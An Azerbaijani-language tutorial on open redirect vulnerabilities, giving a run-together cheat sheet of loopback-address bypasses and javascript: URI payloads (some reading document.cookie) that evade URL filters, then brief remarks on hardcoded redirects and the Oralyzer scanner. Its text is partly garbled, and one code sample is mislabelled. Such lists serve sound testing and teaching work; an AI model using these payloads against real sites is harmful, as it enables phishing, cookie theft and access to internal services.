“Açıq yönləndirmə” veb təhlükəsizlik zəifliklərindən biridir. 'Open Redirect', veb tətbiqi istifadəçilər lazımi yoxlama olmadan müxtəlif veb-saytlara yönləndirməyə imkan verdikdə baş verir.Bu yoxlama düzgün idarə edilmədikdə, təcavüzkar istifadəçini zərərli veb-saytlara yönləndirərək, fişinq və ya digər hücumlar həyata keçirə bilər.
Localhost'a və ya hər hans bir domenə yönləndirmək üçün
# localhosthttp://127.0.0.1:80http://127.0.0.1:443http://127.0.0.1:22http://127.1:80http://127.000000000000000.1http://0http:@0/-->http://localhost/http://0.0.0.0:80http://localhost:80http://[::]:80/http://[::]:25/SMTPhttp://[::]:3128/Squidhttp://[0000::1]:80/http://[0:0:0:0:0:ffff:127.0.0.1]/thefile# Nöqtə bypass127。0。0。1127%E3%80%820%E3%80%820%E3%80%821# CDIR bypasshttp://127.127.127.127http://127.0.1.3http://127.0.0.0# Digər üsullarlocalhost:+11211aaalocalhost:00011211aaaahttp://0/http://127.1http://127.0.1
#javascript kodu "javascript"dən sonra icra olunur:javascript:alert(1)#CRLF ilə "javascript" sözünü bypass etməkjava%0d%0ascript%0d%0a:alert(0)# BU payload FILTER_VALIDATE_URL'i bypass edirjavascript://%250Aalert(1)# "javascript://" payload'nın variasiyaları(sorğu prametri də iştirak etdikdə)javascript://%250Aalert(1)//?1javascript://%250A1?alert(1):0#Digər payload'lar%09Jav%09ascript:alert(document.domain)javascript://%250Alert(document.location=document.cookie)/%09/javascript:alert(1);/%09/javascript:alert(1)//%5cjavascript:alert(1);//%5cjavascript:alert(1)/%5cjavascript:alert(1);/%5cjavascript:alert(1)javascript://%0aalert(1)<>javascript:alert(1);//javascript:alert(1);//javascript:alert(1)/javascript:alert(1);/javascript:alert(1)\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)javascript:alert(1);javascript:alert(1)javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)javascript:confirm(1)javascript://https://whitelisted.com/?z=%0Aalert(1)javascript:prompt(1)jaVAscript://whitelisted.com//%0d%0aalert(1);//javascript://whitelisted.com?%a0alert%281%29/x:1/:///%01javascript:alert(document.cookie)/";alert(0);//
Mənbə koduna ciddi şəkildə kodlaşdırılmış URL'lər təsdiq edilməmiş(unvalidated) yönləndirmələrdən bir növ təhlükəsizdir. Aşağıda kod nümunələrini görə bilərsiniz:
İlk kod 'response.redirect("~/mysafe-subdomain/login.aspx")' ASP.NET-də istifadə olunan server tərəf yönləndirmədir və istifadəçiləri təhlükəsiz alt domen daxilində giriş səhifəsinə yönləndirir.
İkinci kod 'response.redirect("http://mysafedomain.com");' istifadəçiləri müəyyən edilmiş təhlükəsiz domenə göndərən JavaScript-də olan müştəri yönümlü yönləndirmədir.
Üçüncü kod, brauzerə təhlükəsiz domenə yönləndirmə təlimatı verməklə oxşar nəticə əldə edən server tərəfi PHP yönləndirməsidir.
Alət
Yuxarıdakı keçiddən istifadə edərək, Oralyzer alətini yükləyə bilərsiniz. Oralyzer, vebsaytda Open Redirection zəifliyini yoxlayan sadə python skriptidir. Bu alət, istifadəçini başqa sayta yönləndirə biləcək yolları tapmaq üçün verilmiş URL'in müxtəlif variasiyalarını yoxlayır.